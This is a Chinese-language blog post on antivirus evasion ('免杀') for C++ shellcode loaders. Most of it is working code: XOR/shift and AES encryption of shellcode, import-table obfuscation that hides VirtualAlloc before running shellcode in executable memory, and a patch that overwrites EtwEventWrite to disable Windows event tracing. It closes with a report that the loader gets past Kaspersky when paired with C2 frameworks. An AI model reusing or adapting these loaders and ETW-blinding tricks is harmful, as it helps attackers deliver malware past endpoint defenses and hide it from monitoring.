Life has its own fate, and meeting may not be accidental.

0%

C++变形免杀初探(一)

好久没水文章了,最近一段时间一直在忙项目上的事情。= =

思路

  • shellcode -> 加密算法 ->生成恶意加密shellcode ->加载器 ->解密算法 -> 执行恶意shellcode

利用外部库来进行加解密操作,增加分析难度,可以加base64,不过base64可能会把不可见字符转换出问题,不过两层加密基本够了,太多层反而效率变慢了。

外部库

  • crypto
  • boost

加密部分

异或部分

异或和位移,可以说是复杂度最低的算法了,效率高。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>
#include <iostream>
#include <string>
using namespace std;
unsigned char buf[] = "";

void Shift_encryption(int k, char plain[], char ciphertext[]) //移位加密
{
int i = 0;
for (i = 0; plain[i] != '\0'; i++)
{
if (plain[i] > 64 && plain[i] < 91)//确定是字母
{
ciphertext[i] = plain[i] + k;
if (ciphertext[i] > 90) //保证密文是字母,且大小写不发生改变
ciphertext[i] = ciphertext[i] - 26;
}
else if (plain[i] > 96 && plain[i] < 123)
{
ciphertext[i] = plain[i] + k;
if (ciphertext[i] > 122)
ciphertext[i] = ciphertext[i] - 26;
}

}
}
void Shift_decryption(int k, char plain[], char ciphertext[]) //移位加密
{
int i = 0;
for (i = 0; ciphertext[i] != '\0'; i++)//确定是字母
{
if (ciphertext[i] > 64 && ciphertext[i] < 91)
{
plain[i] = ciphertext[i] - k;
if (plain[i] < 65)//保证密文是字母,且大小写不发生改变
plain[i] = plain[i] + 26;
}
if (ciphertext[i] > 96 && ciphertext[i] < 123)
{
plain[i] = ciphertext[i] - k;
if (plain[i] < 97)//保证密文是字母,且大小写不发生改变
plain[i] = plain[i] + 26;
}
}
}
int main() {
int password = 1025;
unsigned char enShellCode[6000];
unsigned char deShellCode[6000];
int nLen = sizeof(buf) - 1;
for (int i = 0; i < nLen; i++)
{
enShellCode[i] = buf[i] ^ password;
printf("\\x%x", enShellCode[i]);
}
printf("\n");
for (int i = 0; i < nLen; i++)
{
deShellCode[i] = enShellCode[i] ^ password;
printf("\\x%x", deShellCode[i]);
}
return 0;
}

时间戳

获取时间戳来进行aes加密,利用外部库boost获取时间戳。

1
2
3
4
5
6
7
8
int64_t GetCurrentStamp64()
{
//获取当前时间戳(秒or毫秒)
boost::posix_time::ptime epoch(boost::gregorian::date(1970, boost::gregorian::Jan, 1));
boost::posix_time::time_duration time_from_epoch = boost::posix_time::second_clock::universal_time() - epoch;

return time_from_epoch.total_seconds();
}

AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int enAES() {
try
{
// 使用ECB模式加密
ECB_Mode< AES >::Encryption e;
e.SetKey(key, sizeof(key));

// 在此处加密
// StreamTransformationFilter根据需要添加填充,使用PKCS_padding(PKCS7Padding)默认值。
// ECB和CBC模式必须填充到密码的块大小。
StringSource(strPlain, true,
new StreamTransformationFilter(e,
new StringSink(strCipher) // 字符串接收器
)
);
}
catch (const Exception& e)
{
cerr << e.what() << endl;
exit(1);
}
strEncoded.clear();
StringSource(strCipher, true,
new HexEncoder(
new StringSink(strEncoded)
) //
); // StringSource
return 0;
}
int deAES() {


try
{
// decrypt with ECB mode
ECB_Mode< AES >::Decryption d;
d.SetKey(key, sizeof(key));

// The StreamTransformationFilter removes padding as required.
StringSource s(strCipher, true,
new StreamTransformationFilter(d,
new StringSink(strRecovered) // StringSink
) // StreamTransformationFilter
); // StringSource
}
catch (const Exception& e)
{
cerr << e.what() << endl;
exit(1);
}

return 0;
}

加载

导入表混淆

修改参数为函数名

原理:对C++程序的导入表进行混淆。不做任何混淆时的导入表存在例如VirtualAlloc这样的敏感函数,通过隐藏函数的方式来减少马子特征。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <windows.h>  
#include <stdio.h>
#include <iostream>
#include <string>
typedef VOID *(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc fnVirtualProtect;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0x0 };
unsigned char sKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
unsigned char buf[] = "";

int main() {

fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, deShellCode, sizeof deShellCode);
((void(*)())exec)();
return 0;
}

禁用Windows事件跟踪 (ETW)

原理:Windows 事件跟踪 (ETW) 是一种有效的内核级跟踪工具,允许你将内核或应用程序定义的事件记录到日志文件中。 可以实时或从日志文件使用事件,并使用它们调试应用程序或确定应用程序中发生性能问题的位置。

ETW 允许动态启用或禁用事件跟踪,使你可以在生产环境中执行详细的跟踪,而无需重启计算机或应用程序。

结合混淆导入表代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <windows.h>  
#include <stdio.h>
#include <iostream>
#include <string>
using namespace std;
unsigned char buf[] = "";

typedef void* (*tNtVirtual) (HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;

void disableETW(void) {
// return 0
unsigned char patch[] = { 0x48, 0x33, 0xc0, 0xc3 }; // xor rax, rax; ret

ULONG oldprotect = 0;
size_t size = sizeof(patch);

HANDLE hCurrentProc = GetCurrentProcess();

unsigned char sEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0x0 };
void* pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR)sEtwEventWrite);
if ((DWORD)GetModuleHandle("ntdll.dll") == NULL) { std::cout << "error"; }
else {
printf("NTDLL.DLL START ADDRESS: %08x", (DWORD)GetModuleHandle("ntdll.dll"));
}
if ((DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory") == NULL) { std::cout << "error"; }
else { printf("\nNtProtectVirtualMemory ADDRESS: %08x", (DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory")); }

FARPROC farProc = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtProtectVirtualMemory");


oNtVirtual = (tNtVirtual)farProc;
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);

//memcpy(pEventWrite, patch, size / sizeof(patch[0]));
memcpy(pEventWrite, patch, 4);
oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);
FlushInstructionCache(hCurrentProc, pEventWrite, size);

}


int main() {
disableETW();

void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}

杀软测试

最后马子实测配合其他C2可以过卡巴,但是如果用cs的话国产杀软能过,卡巴过不去,卡巴查杀原因是数据库查杀,CS特征被检测到,得从cs特征上修改。

参考文章

红队队开发基础-基础免杀(一)